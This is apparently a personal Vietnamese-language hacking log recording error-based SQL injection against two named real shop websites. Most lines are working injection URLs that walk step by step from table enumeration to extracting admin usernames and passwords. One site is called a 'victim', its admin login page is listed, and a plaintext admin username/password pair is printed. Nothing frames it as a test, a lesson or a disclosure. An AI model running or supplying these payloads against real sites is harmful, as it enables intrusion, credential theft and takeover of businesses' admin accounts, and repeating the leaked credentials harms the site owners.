Thêm ' để check lỗi.
Tìm tên các bảng
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 table_name from information_schema.tables))
đc bảng 'D99_Tmp'
Tiếp tục
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 table_name from information_schema.tables where table_name not in ('D99_Tmp')))
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 table_name from information_schema.tables where table_name not in ('D99_Tmp', 'dtproperties')))
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 table_name from information_schema.tables where table_name not in ('D99_Tmp', 'dtproperties', 'tblAdmin' )))
Tìm các cột trong tblAdmin
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 column_name from information_schema.columns where table_name = 'tblAdmin'))
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 column_name from information_schema.columns where table_name = 'tblAdmin' and column_name not in ('AID')))
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 column_name from information_schema.columns where table_name = 'tblAdmin' and column_name not in ('AID','ALogin')))
Lấy thông tin user
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 ALogin from tblAdmin))
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 ALogin from tblAdmin where ALogin not in ('Administrator')))
Lấy mật khẩu đăng nhập
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 APass from tblAdmin )) // mật khẩu của Administrator
http://myson.vn/Product_detail.asp?pID='ThinkCentre A70' and 1= convert(int, (select top 1 APass from tblAdmin where ALogin not in ('Administrator') )) //mật khẩu của user thứ 2.
Đến đây không hiểu sao mà lại không đăng nhập được nữa. :(((
Tương tự với victim: hienshop.vn
http://www.hienshop.vn/ProductDetail/1672/198 and 1=convert(int,(select top 1 UserName from tblAdmin))/Default.aspx
http://www.hienshop.vn/ProductDetail/1672/198 and 1=convert(int,(select top 1 PassWord from tblAdmin))/Default.aspx
http://www.hienshop.vn/admin/Login.aspx
admin/pass: dnlong/dnlong
